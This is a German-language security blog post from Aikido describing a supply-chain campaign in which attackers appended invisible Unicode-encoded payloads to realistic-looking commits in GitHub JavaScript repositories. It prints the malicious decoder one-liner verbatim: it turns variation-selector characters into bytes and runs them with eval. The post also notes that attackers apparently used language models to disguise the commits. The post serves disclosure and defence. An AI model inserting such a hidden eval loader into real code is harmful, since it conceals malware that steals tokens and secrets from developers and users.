Aikido

Die Rückkehr der unsichtbaren Bedrohung: Versteckte PUA Unicode-Treffer in GitHub-Repositories

Ilyas MakariIlyas Makari
|
#

Es ist noch nicht lange her, dass wir kompromittierte Erweiterungen auf Open VSX entdeckt haben. Jetzt zeichnet sich eine neue Angriffswelle ab, und alle Anzeichen deuten auf denselben Angreifer hin.

Die Technik kommt Ihnen vielleicht bekannt vor: versteckter bösartiger Code, der mit unsichtbaren Unicode-Zeichen aus dem Bereich „Private Use Area“ (PUA) injiziert wurde. Wir haben diesen Trick erstmals im März gesehen , als npm-Pakete PUAs verwendeten, um Payloads zu verbergen. Dann kam Open VSX. Nun scheint der Angreifer sein Augenmerk auf GitHub gerichtet zu haben, und seine Methoden entwickeln sich weiter. Die Bereitstellung wird immer intelligenter, heimlicher und viel trügerischer.

Zeitleiste der Kampagne „Invisible Code“

  • März – Aikido entdeckt Aikido bösartige npm-Pakete, die Payloads mithilfe von PUA-Unicode-Zeichen verstecken.
  • Mai – Wir veröffentlichen einen Blogbeitrag, in dem wir die Risiken von unsichtbarem Unicode und dessen Missbrauchsmöglichkeiten bei Lieferkettenangriffe detailliert beschreiben.
  • 17. Oktober – Wir decken mit derselben Technik kompromittierte Erweiterungen auf Open VSX auf.
  • 18. OktoberKoi Security analysiert die Malware und ihre Nutzlast und nennt sie Glassworm.
  • 31. Oktober – Wir entdecken, dass die Angreifer ihren Fokus auf GitHub-Repositorys verlagert haben.

Stealth durch Design

Wir wurden zum ersten Mal auf diese neue Welle aufmerksam, als sich ein Entwickler meldete, nachdem ihm etwas Seltsames aufgefallen war: Mehrere seiner eigenen GitHub-Repositorys waren aktualisiert worden, zumindest laut Commit-Historie. Die Commits sahen legitim aus. Sie enthielten realistische Feature-Updates, kleine Refactorings und sogar Bugfixes, die zum Codierungsstil und den Commit-Meldungen des Projekts passten. Abgesehen von einem Unterschied war die E-Mail-Adresse des Committers auf null. Aber am Ende dieser Commits hatte jeder einen einzigen, identischen Zusatz:

const d=s=>[...s].map(c=>(c=c.codePointAt(0),c>=0xFE00&&c<=0xFE0F?c-0xFE00:c>=0xE0100&&c<=0xE01EF?c-0xE0100+16:null)).filter(b=>b!==null);eval(Buffer.from(d(``)).toString('utf-8'));

Können Sie die Malware erkennen? Auf den ersten Blick ist es schwer zu erkennen, was vor sich geht, aber was auffällt, ist die eval Aufruf, der häufig zur dynamischen Ausführung von Code verwendet wird. Nur die Eingabe für eval erscheint leer. Die an d() in eval ist keineswegs leer. Es enthält unsichtbare Unicode-Zeichen, versteckten Code, der mit Symbolen aus dem Bereich für private Verwendung verschlüsselt ist, genau wie bei den früheren Vorfällen mit npm und Open VSX.

Diesmal ist die Übertragung jedoch weitaus subtiler. Alles wurde in einer einzigen Zeile zusammengefasst, sodass fast keine visuellen Hinweise mehr zu erkennen sind. Der bösartige Code ist in scheinbar normale Projektaktivitäten eingebettet und in legitimen Commits versteckt.

Es ist möglich, dass die harmlos aussehenden Änderungen von einer KI generiert wurden, um die Commits überzeugender zu gestalten. Da diese Commits sehr projektspezifisch waren, lässt dies vermuten, dass der Angreifer große Sprachmodelle genutzt hat, um realistische, kontextbezogene Codeänderungen zu erstellen, und so die KI effektiv dazu einsetzte, seine Payload innerhalb der normalen Entwicklungsaktivitäten zu tarnen.

Die entschlüsselten PUA-Zeichen führen zu einem Skript, das den Open VSX-Beispielen sehr ähnlich sieht, was darauf hindeutet, dass es sich wahrscheinlich um denselben Angreifer handelt. Das entschlüsselte Skript scheint Solana als Übertragungskanal zu verwenden, um eine Nutzlast aus der Blockchain abzurufen und auszuführen. Basierend auf den Open VSX-Vorfällen waren diese Nutzlasten in der Lage, Token und andere secrets zu stehlen. Wenn Anmeldedaten oder CI-Token gesammelt werden, könnten sie wiederverwendet werden, um dieselbe Nutzlast in andere Repositorys zu übertragen, was wiederum eine wurmartige Verbreitung ermöglichen könnte, wie wir sie bei früheren Angriffen gesehen haben.

Anzeichen für einen größeren Angriff

Nachdem wir das bösartige Muster identifiziert hatten, begannen wir zu untersuchen, ob dieselbe Nutzlast auch an anderer Stelle auftrat. Eine schnelle Suche nach dem Muster auf GitHub ergab schnell andere Repositorys, die dieselbe verdächtige Zeile enthielten.

Bei diesen Projekten wurde ein neuer Commit gepusht, der auf den ersten Blick völlig legitim aussah. Die Commits enthielten normale Änderungen wie Dokumentationsaktualisierungen, Versionserhöhungen und kleine Codeverbesserungen, aber jeder einzelne enthielt auch dieselbe versteckte Nutzlast, die am Ende einer Datei angehängt war.

Derzeit scheint diese Kampagne auf JavaScript-Projekte beschränkt zu sein, die auf GitHub gehostet werden. Wir haben keine Anzeichen für ähnliche Kompromittierungen in npm oder anderen Ökosystemen festgestellt, beobachten die Situation jedoch aufmerksam, da derselbe Angreifer möglicherweise versuchen könnte, sein Tätigkeitsfeld auszuweiten.

Sich entwickelnde Bedrohungen, intelligentere Abwehrmaßnahmen

Diese Vorfälle verdeutlichen, wie wichtig es ist, das Bewusstsein für den Missbrauch von Unicode zu schärfen, insbesondere für die Gefahren unsichtbarer Zeichen aus dem Bereich „Private Use Area“. Entwickler können sich nur gegen das wehren, was sie sehen können, und derzeit zeigen die meisten Tools ihnen nicht genug. Weder die Weboberfläche von GitHub noch VS Code zeigten Anzeichen dafür, dass etwas nicht stimmte. In früheren Fällen, wie beispielsweise den Open VSX-Angriffen, zeigten einige IDEs zwar subtile Hinweise neben den versteckten Zeichen an, aber diese Sicherheitsvorkehrungen fehlten hier.

Diese Technik ist zwar nicht neu, entwickelt sich aber eindeutig weiter. Frühere Bedrohungen wie Shai Hulud injizierten lediglich bösartige Postinstall-Skripte, wodurch sie relativ leicht zu erkennen waren. Heute vermischen Angreifer bösartigen Code mit realistischen Commits und projektspezifischen Verbesserungen, möglicherweise unterstützt durch KI, um ihre Änderungen natürlich erscheinen zu lassen. Dies ist ein Zeichen dafür, in welche Richtung sich die Bedrohungslandschaft entwickelt.

Bei Aikido passen wir uns dieser Entwicklung ebenfalls an. Wir verwenden unter anderem große Sprachmodelle, um diese immer subtileren Bedrohungen zu erkennen. Da Angreifer KI einsetzen, um ihre Absichten zu verbergen, müssen unsere Abwehrmaßnahmen ebenso intelligent werden, um diese aufzudecken.

4.7/5

Sichern Sie Ihre Software jetzt.

Kostenlos starten
Ohne Kreditkarte
Demo buchen
Ihre Daten werden nicht weitergegeben · Nur Lesezugriff · Keine Kreditkarte erforderlich

Werden Sie jetzt sicher.

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.